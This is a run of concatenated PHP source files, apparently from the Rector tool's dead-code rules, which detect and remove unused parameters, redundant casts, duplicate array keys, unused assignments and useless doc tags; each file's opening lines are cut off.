($hasNonTypedFromParam) { return \false; } $hasPropertyFetchOrArrayDimFetch = (bool) $this->betterNodeFinder->findFirst($booleanAnd->left, static function (Node $node) : bool { return $node instanceof PropertyFetch || $node instanceof StaticPropertyFetch || $node instanceof ArrayDimFetch; }); // get type from Property and ArrayDimFetch is unreliable if ($hasPropertyFetchOrArrayDimFetch) { return \false; } // skip trait this $classReflection = $this->reflectionResolver->resolveClassReflection($booleanAnd); if ($classReflection instanceof ClassReflection && $classReflection->isTrait()) { return !$booleanAnd->left instanceof Instanceof_; } return !(bool) $this->betterNodeFinder->findFirst($booleanAnd->left, function (Node $node) : bool { if (!$node instanceof CallLike) { return \false; } $nativeType = $this->nodeTypeResolver->getNativeType($node); return $nativeType instanceof MixedType && !$nativeType->isExplicitMixed(); }); } } nodeNameResolver = $nodeNameResolver; } public function isVariableNamed(Node $node, Variable $variable) : bool { if (($node instanceof MethodCall || $node instanceof PropertyFetch) && ($node->name instanceof Variable && \is_string($node->name->name))) { return $this->nodeNameResolver->isName($variable, $node->name->name); } if (!$node instanceof Variable) { return \false; } return $this->nodeNameResolver->areNamesEqual($variable, $node); } } paramAnalyzer = $paramAnalyzer; } /** * @return array */ public function resolve(ClassMethod $classMethod) : array { /** @var array $unusedParameters */ $unusedParameters = []; foreach ($classMethod->params as $i => $param) { // skip property promotion /** @var Param $param */ if ($param->flags !== 0) { continue; } if ($this->paramAnalyzer->isParamUsedInClassMethod($classMethod, $param)) { continue; } $unusedParameters[$i] = $param; } return $unusedParameters; } } paramAnalyzer = $paramAnalyzer; $this->complexNodeRemover = $complexNodeRemover; } public function processRemoveParams(ClassMethod $classMethod) : ?ClassMethod { $paramKeysToBeRemoved = []; foreach ($classMethod->params as $key => $param) { if ($this->paramAnalyzer->isParamUsedInClassMethod($classMethod, $param)) { continue; } $paramKeysToBeRemoved[] = $key; } if ($paramKeysToBeRemoved === []) { return null; } $removedParamKeys = $this->complexNodeRemover->processRemoveParamWithKeys($classMethod, $paramKeysToBeRemoved); if ($removedParamKeys !== []) { return $classMethod; } return null; } } nodeNameResolver = $nodeNameResolver; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function isControllerClassMethod(Class_ $class, ClassMethod $classMethod) : bool { if (!$classMethod->isPublic()) { return \false; } if (!$this->hasParentClassController($class)) { return \false; } $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($classMethod); return $phpDocInfo->hasByType(GenericTagValueNode::class); } private function hasParentClassController(Class_ $class) : bool { if (!$class->extends instanceof Name) { return \false; } $parentClassName = $this->nodeNameResolver->getName($class->extends); if (\substr_compare($parentClassName, 'Controller', -\strlen('Controller')) === 0) { return \true; } return \substr_compare($parentClassName, 'Presenter', -\strlen('Presenter')) === 0; } } nodeNameResolver = $nodeNameResolver; $this->nodeComparator = $nodeComparator; $this->nodeTypeResolver = $nodeTypeResolver; } public function isCounterHigherThanOne(Expr $firstExpr, Expr $secondExpr) : bool { // e.g. count($values) > 0 if ($firstExpr instanceof Greater) { return $this->isGreater($firstExpr, $secondExpr); } // e.g. count($values) >= 1 if ($firstExpr instanceof GreaterOrEqual) { return $this->isGreaterOrEqual($firstExpr, $secondExpr); } // e.g. 0 < count($values) if ($firstExpr instanceof Smaller) { return $this->isSmaller($firstExpr, $secondExpr); } // e.g. 1 <= count($values) if ($firstExpr instanceof SmallerOrEqual) { return $this->isSmallerOrEqual($firstExpr, $secondExpr); } return \false; } private function isGreater(Greater $greater, Expr $expr) : bool { if (!$this->isNumber($greater->right, 0)) { return \false; } return $this->isCountWithExpression($greater->left, $expr); } private function isGreaterOrEqual(GreaterOrEqual $greaterOrEqual, Expr $expr) : bool { if (!$this->isNumber($greaterOrEqual->right, 1)) { return \false; } return $this->isCountWithExpression($greaterOrEqual->left, $expr); } private function isSmaller(Smaller $smaller, Expr $expr) : bool { if (!$this->isNumber($smaller->left, 0)) { return \false; } return $this->isCountWithExpression($smaller->right, $expr); } private function isSmallerOrEqual(SmallerOrEqual $smallerOrEqual, Expr $expr) : bool { if (!$this->isNumber($smallerOrEqual->left, 1)) { return \false; } return $this->isCountWithExpression($smallerOrEqual->right, $expr); } private function isNumber(Expr $expr, int $value) : bool { if (!$expr instanceof LNumber) { return \false; } return $expr->value === $value; } private function isCountWithExpression(Expr $node, Expr $expr) : bool { if (!$node instanceof FuncCall) { return \false; } if (!$this->nodeNameResolver->isName($node, 'count')) { return \false; } if ($node->isFirstClassCallable()) { return \false; } if (!isset($node->getArgs()[0])) { return \false; } $countedExpr = $node->getArgs()[0]->value; if ($this->nodeComparator->areNodesEqual($countedExpr, $expr)) { $exprType = $this->nodeTypeResolver->getNativeType($expr); if (!$exprType->isArray()->yes()) { return $exprType instanceof NeverType; } return \true; } return \false; } } nodeTypeResolver = $nodeTypeResolver; } /** * @return Expr[]|mixed[] * @param \PhpParser\Node|int|string|null $expr */ public function keepLivingCodeFromExpr($expr) : array { if (!$expr instanceof Expr) { return []; } if ($expr instanceof Closure || $expr instanceof Scalar || $expr instanceof ConstFetch) { return []; } if ($this->isNestedExpr($expr)) { return $this->keepLivingCodeFromExpr($expr->expr); } if ($expr instanceof Variable) { return $this->keepLivingCodeFromExpr($expr->name); } if ($expr instanceof PropertyFetch) { return \array_merge($this->keepLivingCodeFromExpr($expr->var), $this->keepLivingCodeFromExpr($expr->name)); } if ($expr instanceof ArrayDimFetch) { $type = $this->nodeTypeResolver->getType($expr->var); if ($type instanceof ObjectType) { $objectType = new ObjectType('ArrayAccess'); if ($objectType->isSuperTypeOf($type)->yes()) { return [$expr]; } } return \array_merge($this->keepLivingCodeFromExpr($expr->var), $this->keepLivingCodeFromExpr($expr->dim)); } if ($expr instanceof ClassConstFetch || $expr instanceof StaticPropertyFetch) { return \array_merge($this->keepLivingCodeFromExpr($expr->class), $this->keepLivingCodeFromExpr($expr->name)); } if ($this->isBinaryOpWithoutChange($expr)) { /** @var BinaryOp $binaryOp */ $binaryOp = $expr; return $this->processBinary($binaryOp); } if ($expr instanceof Instanceof_) { return \array_merge($this->keepLivingCodeFromExpr($expr->expr), $this->keepLivingCodeFromExpr($expr->class)); } if ($expr instanceof Isset_) { return $this->processIsset($expr); } return [$expr]; } private function isNestedExpr(Expr $expr) : bool { return $expr instanceof Cast || $expr instanceof Empty_ || $expr instanceof UnaryMinus || $expr instanceof UnaryPlus || $expr instanceof BitwiseNot || $expr instanceof BooleanNot || $expr instanceof Clone_; } private function isBinaryOpWithoutChange(Expr $expr) : bool { if (!$expr instanceof BinaryOp) { return \false; } return !($expr instanceof LogicalAnd || $expr instanceof BooleanAnd || $expr instanceof LogicalOr || $expr instanceof BooleanOr || $expr instanceof Coalesce); } /** * @return Expr[] */ private function processBinary(BinaryOp $binaryOp) : array { return \array_merge($this->keepLivingCodeFromExpr($binaryOp->left), $this->keepLivingCodeFromExpr($binaryOp->right)); } /** * @return mixed[] */ private function processIsset(Isset_ $isset) : array { $livingExprs = []; foreach ($isset->vars as $expr) { $livingExprs = \array_merge($livingExprs, $this->keepLivingCodeFromExpr($expr)); } return $livingExprs; } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->nodeNameResolver = $nodeNameResolver; } /** * @api */ public function isVariadic(FunctionLike $functionLike) : bool { $isVariadic = \false; $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $functionLike->getStmts(), function (Node $node) use(&$isVariadic) : ?int { if (!$node instanceof FuncCall) { return null; } if (!$this->nodeNameResolver->isNames($node, self::VARIADIC_FUNCTION_NAMES)) { return null; } $isVariadic = \true; return NodeTraverser::STOP_TRAVERSAL; }); return $isVariadic; } } nodeNameResolver = $nodeNameResolver; $this->typeComparator = $typeComparator; $this->genericTypeNodeAnalyzer = $genericTypeNodeAnalyzer; $this->mixedArrayTypeNodeAnalyzer = $mixedArrayTypeNodeAnalyzer; $this->paramAnalyzer = $paramAnalyzer; $this->phpDocTypeChanger = $phpDocTypeChanger; $this->standaloneTypeRemovalGuard = $standaloneTypeRemovalGuard; $this->staticTypeMapper = $staticTypeMapper; $this->templateTypeRemovalGuard = $templateTypeRemovalGuard; } public function isDead(ParamTagValueNode $paramTagValueNode, FunctionLike $functionLike) : bool { $param = $this->paramAnalyzer->getParamByName($paramTagValueNode->parameterName, $functionLike); if (!$param instanceof Param) { return \false; } if ($param->type === null) { return \false; } if ($paramTagValueNode->description !== '') { return \false; } $docType = $this->staticTypeMapper->mapPHPStanPhpDocTypeNodeToPHPStanType($paramTagValueNode->type, $functionLike); if (!$this->templateTypeRemovalGuard->isLegal($docType)) { return \false; } if ($param->type instanceof Name && $this->nodeNameResolver->isName($param->type, 'object')) { return $paramTagValueNode->type instanceof IdentifierTypeNode && (string) $paramTagValueNode->type === 'object'; } if (!$this->typeComparator->arePhpParserAndPhpStanPhpDocTypesEqual($param->type, $paramTagValueNode->type, $functionLike)) { return \false; } if ($this->phpDocTypeChanger->isAllowed($paramTagValueNode->type)) { return \false; } if (!$paramTagValueNode->type instanceof BracketsAwareUnionTypeNode) { return $this->standaloneTypeRemovalGuard->isLegal($paramTagValueNode->type, $param->type); } return $this->isAllowedBracketAwareUnion($paramTagValueNode->type); } private function isAllowedBracketAwareUnion(BracketsAwareUnionTypeNode $bracketsAwareUnionTypeNode) : bool { if ($this->mixedArrayTypeNodeAnalyzer->hasMixedArrayType($bracketsAwareUnionTypeNode)) { return \false; } return !$this->genericTypeNodeAnalyzer->hasGenericType($bracketsAwareUnionTypeNode); } } typeComparator = $typeComparator; $this->genericTypeNodeAnalyzer = $genericTypeNodeAnalyzer; $this->mixedArrayTypeNodeAnalyzer = $mixedArrayTypeNodeAnalyzer; $this->standaloneTypeRemovalGuard = $standaloneTypeRemovalGuard; $this->phpDocTypeChanger = $phpDocTypeChanger; $this->staticTypeMapper = $staticTypeMapper; $this->templateTypeRemovalGuard = $templateTypeRemovalGuard; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ public function isDead(ReturnTagValueNode $returnTagValueNode, $functionLike) : bool { $returnType = $functionLike->getReturnType(); if ($returnType === null) { return \false; } if ($returnTagValueNode->description !== '') { return \false; } $docType = $this->staticTypeMapper->mapPHPStanPhpDocTypeNodeToPHPStanType($returnTagValueNode->type, $functionLike); if (!$this->templateTypeRemovalGuard->isLegal($docType)) { return \false; } $scope = $functionLike->getAttribute(AttributeKey::SCOPE); if ($scope instanceof Scope && $scope->isInTrait() && $returnTagValueNode->type instanceof ThisTypeNode) { return \false; } if (!$this->typeComparator->arePhpParserAndPhpStanPhpDocTypesEqual($returnType, $returnTagValueNode->type, $functionLike)) { return $this->isDeadNotEqual($returnTagValueNode, $returnType, $functionLike); } if ($this->phpDocTypeChanger->isAllowed($returnTagValueNode->type)) { return \false; } if (!$returnTagValueNode->type instanceof BracketsAwareUnionTypeNode) { return $this->standaloneTypeRemovalGuard->isLegal($returnTagValueNode->type, $returnType); } if ($this->genericTypeNodeAnalyzer->hasGenericType($returnTagValueNode->type)) { return \false; } if ($this->mixedArrayTypeNodeAnalyzer->hasMixedArrayType($returnTagValueNode->type)) { return \false; } return !$this->hasTrueFalsePseudoType($returnTagValueNode->type); } private function isVoidReturnType(Node $node) : bool { return $node instanceof Identifier && $node->toString() === 'void'; } private function isNeverReturnType(Node $node) : bool { return $node instanceof Identifier && $node->toString() === 'never'; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ private function isDeadNotEqual(ReturnTagValueNode $returnTagValueNode, Node $node, $functionLike) : bool { if ($returnTagValueNode->type instanceof IdentifierTypeNode && (string) $returnTagValueNode->type === 'void') { return \true; } if (!$this->hasUsefullPhpdocType($returnTagValueNode, $node)) { return \true; } $nodeType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($node); $docType = $this->staticTypeMapper->mapPHPStanPhpDocTypeNodeToPHPStanType($returnTagValueNode->type, $functionLike); return $docType instanceof UnionType && $this->typeComparator->areTypesEqual(TypeCombinator::removeNull($docType), $nodeType); } private function hasTrueFalsePseudoType(BracketsAwareUnionTypeNode $bracketsAwareUnionTypeNode) : bool { $unionTypes = $bracketsAwareUnionTypeNode->types; foreach ($unionTypes as $unionType) { if (!$unionType instanceof IdentifierTypeNode) { continue; } $name = \strtolower((string) $unionType); if (\in_array($name, ['true', 'false'], \true)) { return \true; } } return \false; } /** * exact different between @return and node return type * @param mixed $returnType */ private function hasUsefullPhpdocType(ReturnTagValueNode $returnTagValueNode, $returnType) : bool { if ($returnTagValueNode->type instanceof IdentifierTypeNode && $returnTagValueNode->type->name === 'mixed') { return \false; } if (!$this->isVoidReturnType($returnType)) { return !$this->isNeverReturnType($returnType); } if (!$returnTagValueNode->type instanceof IdentifierTypeNode || (string) $returnTagValueNode->type !== 'never') { return \false; } return !$this->isNeverReturnType($returnType); } } typeComparator = $typeComparator; $this->staticTypeMapper = $staticTypeMapper; $this->templateTypeRemovalGuard = $templateTypeRemovalGuard; } public function isDead(VarTagValueNode $varTagValueNode, Property $property) : bool { if ($property->type === null) { return \false; } if ($varTagValueNode->description !== '') { return \false; } // is strict type superior to doc type? keep strict type only $propertyType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($property->type); $docType = $this->staticTypeMapper->mapPHPStanPhpDocTypeNodeToPHPStanType($varTagValueNode->type, $property); if (!$this->templateTypeRemovalGuard->isLegal($docType)) { return \false; } if ($propertyType instanceof UnionType && !$docType instanceof UnionType) { return !$docType instanceof IntersectionType; } if ($propertyType instanceof ObjectType && $docType instanceof ObjectType) { // more specific type is already in the property return $docType->isSuperTypeOf($propertyType)->yes(); } if ($this->typeComparator->arePhpParserAndPhpStanPhpDocTypesEqual($property->type, $varTagValueNode->type, $property)) { return \true; } return $docType instanceof UnionType && $this->typeComparator->areTypesEqual(TypeCombinator::removeNull($docType), $propertyType); } } toString() !== 'bool') { return \true; } return !\in_array($typeNode->name, self::ALLOWED_TYPES, \true); } } getTypes() : [$docType]; foreach ($types as $type) { if ($type instanceof TemplateType) { return \false; } } return \true; } } deadParamTagValueNodeAnalyzer = $deadParamTagValueNodeAnalyzer; $this->docBlockUpdater = $docBlockUpdater; } public function removeParamTagsIfUseless(PhpDocInfo $phpDocInfo, FunctionLike $functionLike, ?Type $type = null) : bool { $hasChanged = \false; $phpDocNodeTraverser = new PhpDocNodeTraverser(); $phpDocNodeTraverser->traverseWithCallable($phpDocInfo->getPhpDocNode(), '', function (Node $docNode) use($functionLike, &$hasChanged, $type, $phpDocInfo) : ?int { if (!$docNode instanceof PhpDocTagNode) { return null; } if (!$docNode->value instanceof ParamTagValueNode) { return null; } // handle only basic types, keep phpstan/psalm helper ones if ($docNode->name !== '@param') { return null; } if ($type instanceof Type) { $paramType = $phpDocInfo->getParamType($docNode->value->parameterName); if (!$type->equals($paramType)) { return null; } } if (!$this->deadParamTagValueNodeAnalyzer->isDead($docNode->value, $functionLike)) { return null; } $hasChanged = \true; return PhpDocNodeTraverser::NODE_REMOVE; }); if ($hasChanged) { $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($functionLike); } return $hasChanged; } } deadReturnTagValueNodeAnalyzer = $deadReturnTagValueNodeAnalyzer; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ public function removeReturnTagIfUseless(PhpDocInfo $phpDocInfo, $functionLike) : bool { // remove existing type $returnTagValueNode = $phpDocInfo->getReturnTagValue(); if (!$returnTagValueNode instanceof ReturnTagValueNode) { return \false; } $isReturnTagValueDead = $this->deadReturnTagValueNodeAnalyzer->isDead($returnTagValueNode, $functionLike); if (!$isReturnTagValueDead) { return \false; } $phpDocInfo->removeByType(ReturnTagValueNode::class); return \true; } } doctrineTypeAnalyzer = $doctrineTypeAnalyzer; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->deadVarTagValueNodeAnalyzer = $deadVarTagValueNodeAnalyzer; $this->phpDocTypeChanger = $phpDocTypeChanger; $this->docBlockUpdater = $docBlockUpdater; $this->typeComparator = $typeComparator; } public function removeVarTagIfUseless(PhpDocInfo $phpDocInfo, Property $property) : bool { $varTagValueNode = $phpDocInfo->getVarTagValueNode(); if (!$varTagValueNode instanceof VarTagValueNode) { return \false; } $isVarTagValueDead = $this->deadVarTagValueNodeAnalyzer->isDead($varTagValueNode, $property); if (!$isVarTagValueDead) { return \false; } if ($this->phpDocTypeChanger->isAllowed($varTagValueNode->type)) { return \false; } $phpDocInfo->removeByType(VarTagValueNode::class); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($property); return \true; } /** * @api generic */ public function removeVarTag(Node $node) : bool { $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $varTagValueNode = $phpDocInfo->getVarTagValueNode(); if (!$varTagValueNode instanceof VarTagValueNode) { return \false; } $phpDocInfo->removeByType(VarTagValueNode::class); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); return \true; } /** * @param \PhpParser\Node\Stmt\Expression|\PhpParser\Node\Stmt\Property|\PhpParser\Node\Param $node */ public function removeVarPhpTagValueNodeIfNotComment($node, Type $type) : void { if ($type instanceof TemplateObjectWithoutClassType) { return; } // keep doctrine collection narrow type if ($this->doctrineTypeAnalyzer->isDoctrineCollectionWithIterableUnionType($type)) { return; } $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $varTagValueNode = $phpDocInfo->getVarTagValueNode(); if (!$varTagValueNode instanceof VarTagValueNode) { return; } // has description? keep it if ($varTagValueNode->description !== '') { return; } // keep string[] etc. if ($this->phpDocTypeChanger->isAllowed($varTagValueNode->type)) { return; } // keep subtypes like positive-int if ($this->shouldKeepSubtypes($type, $phpDocInfo->getVarType())) { return; } $phpDocInfo->removeByType(VarTagValueNode::class); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); } private function shouldKeepSubtypes(Type $type, Type $varType) : bool { return !$this->typeComparator->areTypesEqual($type, $varType) && $this->typeComparator->isSubtype($varType, $type); } } betterStandardPrinter = $betterStandardPrinter; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove duplicated key in defined arrays.', [new CodeSample(<<<'CODE_SAMPLE' $item = [ 1 => 'A', 1 => 'B' ]; CODE_SAMPLE , <<<'CODE_SAMPLE' $item = [ 1 => 'B' ]; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Array_::class]; } /** * @param Array_ $node */ public function refactor(Node $node) : ?Node { $duplicatedKeysArrayItems = $this->resolveDuplicateKeysArrayItems($node); if ($duplicatedKeysArrayItems === []) { return null; } foreach ($node->items as $key => $arrayItem) { if (!$arrayItem instanceof ArrayItem) { continue; } if (!$this->isArrayItemDuplicated($duplicatedKeysArrayItems, $arrayItem)) { continue; } unset($node->items[$key]); } return $node; } /** * @return ArrayItem[] */ private function resolveDuplicateKeysArrayItems(Array_ $array) : array { $arrayItemsByKeys = []; foreach ($array->items as $arrayItem) { if (!$arrayItem instanceof ArrayItem) { continue; } if (!$arrayItem->key instanceof Expr) { continue; } $keyValue = $this->betterStandardPrinter->print($arrayItem->key); $arrayItemsByKeys[$keyValue][] = $arrayItem; } return $this->filterItemsWithSameKey($arrayItemsByKeys); } /** * @param array $arrayItemsByKeys * @return array */ private function filterItemsWithSameKey(array $arrayItemsByKeys) : array { $duplicatedArrayItems = []; foreach ($arrayItemsByKeys as $arrayItems) { if (\count($arrayItems) <= 1) { continue; } $currentArrayItem = \current($arrayItems); /** @var Expr $currentArrayItemKey */ $currentArrayItemKey = $currentArrayItem->key; if ($currentArrayItemKey instanceof PreInc) { continue; } if ($currentArrayItemKey instanceof PreDec) { continue; } // keep last one \array_pop($arrayItems); $duplicatedArrayItems = \array_merge($duplicatedArrayItems, $arrayItems); } return $duplicatedArrayItems; } /** * @param ArrayItem[] $duplicatedKeysArrayItems */ private function isArrayItemDuplicated(array $duplicatedKeysArrayItems, ArrayItem $arrayItem) : bool { return \in_array($arrayItem, $duplicatedKeysArrayItems, \true); } } sideEffectNodeDetector = $sideEffectNodeDetector; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Simplify useless double assigns', [new CodeSample(<<<'CODE_SAMPLE' $value = 1; $value = 1; CODE_SAMPLE , '$value = 1;')]); } /** * @return array> */ public function getNodeTypes() : array { return [Foreach_::class, FileWithoutNamespace::class, ClassMethod::class, Function_::class, Closure::class, If_::class, Namespace_::class]; } /** * @param Foreach_|FileWithoutNamespace|If_|Namespace_|ClassMethod|Function_|Closure $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { $stmts = $node->stmts; if ($stmts === null) { return null; } $hasChanged = \false; foreach ($stmts as $key => $stmt) { if (!isset($stmts[$key + 1])) { continue; } if (!$stmt instanceof Expression) { continue; } $nextStmt = $stmts[$key + 1]; if (!$nextStmt instanceof Expression) { continue; } if (!$stmt->expr instanceof Assign) { continue; } if (!$nextStmt->expr instanceof Assign) { continue; } $nextAssign = $nextStmt->expr; if (!$this->nodeComparator->areNodesEqual($nextAssign->var, $stmt->expr->var)) { continue; } // early check self referencing, ensure that variable not re-used if ($this->isSelfReferencing($nextAssign)) { continue; } // detect call expression has side effect // no calls on right, could hide e.g. array_pop()|array_shift() if ($this->sideEffectNodeDetector->detectCallExpr($stmt->expr->expr, $scope)) { continue; } if (!$stmt->expr->var instanceof Variable && !$stmt->expr->var instanceof PropertyFetch && !$stmt->expr->var instanceof StaticPropertyFetch) { continue; } // remove current Stmt if will be overriden in next stmt unset($node->stmts[$key]); $hasChanged = \true; } if (!$hasChanged) { return null; } return $node; } private function isSelfReferencing(Assign $assign) : bool { return (bool) $this->betterNodeFinder->findFirst($assign->expr, function (Node $subNode) use($assign) : bool { return $this->nodeComparator->areNodesEqual($assign->var, $subNode); }); } } reservedKeywordAnalyzer = $reservedKeywordAnalyzer; $this->sideEffectNodeDetector = $sideEffectNodeDetector; $this->variableAnalyzer = $variableAnalyzer; $this->betterNodeFinder = $betterNodeFinder; $this->stmtsManipulator = $stmtsManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused assigns to variables', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $value = 5; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node * @return null|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ */ public function refactorWithScope(Node $node, Scope $scope) { $stmts = $node->stmts; if ($stmts === null || $stmts === []) { return null; } // we cannot be sure here if ($this->shouldSkip($stmts)) { return null; } $assignedVariableNamesByStmtPosition = $this->resolvedAssignedVariablesByStmtPosition($stmts); $hasChanged = \false; foreach ($assignedVariableNamesByStmtPosition as $stmtPosition => $variableName) { if ($this->stmtsManipulator->isVariableUsedInNextStmt($stmts, $stmtPosition + 1, $variableName)) { continue; } /** @var Expression $currentStmt */ $currentStmt = $stmts[$stmtPosition]; /** @var Assign $assign */ $assign = $currentStmt->expr; if ($this->hasCallLikeInAssignExpr($assign, $scope)) { // clean safely $cleanAssignedExpr = $this->cleanCastedExpr($assign->expr); $newExpression = new Expression($cleanAssignedExpr); $this->mirrorComments($newExpression, $currentStmt); $node->stmts[$stmtPosition] = $newExpression; } else { unset($node->stmts[$stmtPosition]); } $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } private function cleanCastedExpr(Expr $expr) : Expr { if (!$expr instanceof Cast) { return $expr; } return $this->cleanCastedExpr($expr->expr); } private function hasCallLikeInAssignExpr(Expr $expr, Scope $scope) : bool { return (bool) $this->betterNodeFinder->findFirst($expr, function (Node $subNode) use($scope) : bool { return $this->sideEffectNodeDetector->detectCallExpr($subNode, $scope); }); } /** * @param Stmt[] $stmts */ private function shouldSkip(array $stmts) : bool { return (bool) $this->betterNodeFinder->findFirst($stmts, function (Node $node) : bool { if ($node instanceof Include_) { return \true; } if (!$node instanceof FuncCall) { return \false; } return $this->isName($node, 'compact'); }); } /** * @param array $stmts * @return array */ private function resolvedAssignedVariablesByStmtPosition(array $stmts) : array { $assignedVariableNamesByStmtPosition = []; $refVariableNames = []; foreach ($stmts as $key => $stmt) { if (!$stmt instanceof Expression) { continue; } if ($stmt->expr instanceof AssignRef && $stmt->expr->var instanceof Variable) { $refVariableNames[] = (string) $this->getName($stmt->expr->var); } if (!$stmt->expr instanceof Assign) { continue; } $assign = $stmt->expr; if (!$assign->var instanceof Variable) { continue; } $variableName = $this->getName($assign->var); if (!\is_string($variableName)) { continue; } if ($this->reservedKeywordAnalyzer->isNativeVariable($variableName)) { continue; } if ($this->shouldSkipVariable($assign->var, $variableName, $refVariableNames)) { continue; } $assignedVariableNamesByStmtPosition[$key] = $variableName; } return $assignedVariableNamesByStmtPosition; } /** * @param string[] $refVariableNames */ private function shouldSkipVariable(Variable $variable, string $variableName, array $refVariableNames) : bool { if ($this->variableAnalyzer->isStaticOrGlobal($variable)) { return \true; } if ($this->variableAnalyzer->isUsedByReference($variable)) { return \true; } return \in_array($variableName, $refVariableNames, \true); } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove and true that has no added value', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { return true && 5 === 1; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { return 5 === 1; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [BooleanAnd::class]; } /** * @param BooleanAnd $node */ public function refactor(Node $node) : ?Node { if ($this->isTrueOrBooleanAndTrues($node->left)) { return $node->right; } if ($this->isTrueOrBooleanAndTrues($node->right)) { return $node->left; } return null; } private function isTrueOrBooleanAndTrues(Expr $expr) : bool { if ($this->valueResolver->isTrue($expr)) { return \true; } if (!$expr instanceof BooleanAnd) { return \false; } if (!$this->isTrueOrBooleanAndTrues($expr->left)) { return \false; } return $this->isTrueOrBooleanAndTrues($expr->right); } } , class-string> */ private const CAST_CLASS_TO_NODE_TYPE = [String_::class => StringType::class, Bool_::class => BooleanType::class, Array_::class => ArrayType::class, Int_::class => IntegerType::class, Object_::class => ObjectType::class, Double::class => FloatType::class]; public function __construct(PropertyFetchAnalyzer $propertyFetchAnalyzer, ReflectionResolver $reflectionResolver, ExprAnalyzer $exprAnalyzer) { $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; $this->reflectionResolver = $reflectionResolver; $this->exprAnalyzer = $exprAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Removes recasting of the same type', [new CodeSample(<<<'CODE_SAMPLE' $string = ''; $string = (string) $string; $array = []; $array = (array) $array; CODE_SAMPLE , <<<'CODE_SAMPLE' $string = ''; $string = $string; $array = []; $array = $array; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Cast::class]; } /** * @param Cast $node */ public function refactor(Node $node) : ?Node { $nodeClass = \get_class($node); if (!isset(self::CAST_CLASS_TO_NODE_TYPE[$nodeClass])) { return null; } $nodeType = $this->nodeTypeResolver->getNativeType($node->expr); if ($nodeType instanceof MixedType) { return null; } $sameNodeType = self::CAST_CLASS_TO_NODE_TYPE[$nodeClass]; if (!$nodeType instanceof $sameNodeType) { return null; } if ($this->shouldSkip($node->expr)) { return null; } if ($this->shouldSkipCall($node->expr)) { return null; } return $node->expr; } private function shouldSkipCall(Expr $expr) : bool { if (!$expr instanceof MethodCall && !$expr instanceof StaticCall) { return \false; } $type = $this->nodeTypeResolver->getNativeType($expr); return $type instanceof MixedType && !$type->isExplicitMixed(); } private function shouldSkip(Expr $expr) : bool { if (!$this->propertyFetchAnalyzer->isPropertyFetch($expr)) { return $this->exprAnalyzer->isNonTypedFromParam($expr); } $phpPropertyReflection = $this->reflectionResolver->resolvePropertyReflectionFromPropertyFetch($expr); if (!$phpPropertyReflection instanceof PhpPropertyReflection) { return \true; } $nativeType = $phpPropertyReflection->getNativeType(); return $nativeType instanceof MixedType; } } classConstManipulator = $classConstManipulator; $this->reflectionResolver = $reflectionResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused class constants', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { private const SOME_CONST = 'dead'; public function run() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassConst::class]; } /** * @param ClassConst $node */ public function refactorWithScope(Node $node, Scope $scope) : ?int { if ($this->shouldSkipClassConst($node, $scope)) { return null; } $classReflection = $this->reflectionResolver->resolveClassReflection($node); if (!$classReflection instanceof ClassReflection) { return null; } if ($this->classConstManipulator->hasClassConstFetch($node, $classReflection)) { return null; } return NodeTraverser::REMOVE_NODE; } private function shouldSkipClassConst(ClassConst $classConst, Scope $scope) : bool { if (!$classConst->isPrivate()) { return \true; } if (\count($classConst->consts) !== 1) { return \true; } $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return \false; } return $this->hasParentClassOfEnumSuffix($classReflection); } private function hasParentClassOfEnumSuffix(ClassReflection $classReflection) : bool { foreach ($classReflection->getParentClassesNames() as $parentClassesName) { if (\substr_compare($parentClassesName, 'Enum', -\strlen('Enum')) === 0) { return \true; } } return \false; } } phpDocTagRemover = $phpDocTagRemover; $this->docBlockUpdater = $docBlockUpdater; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove annotation by names', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' /** * @method getName() */ final class SomeClass { } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { } 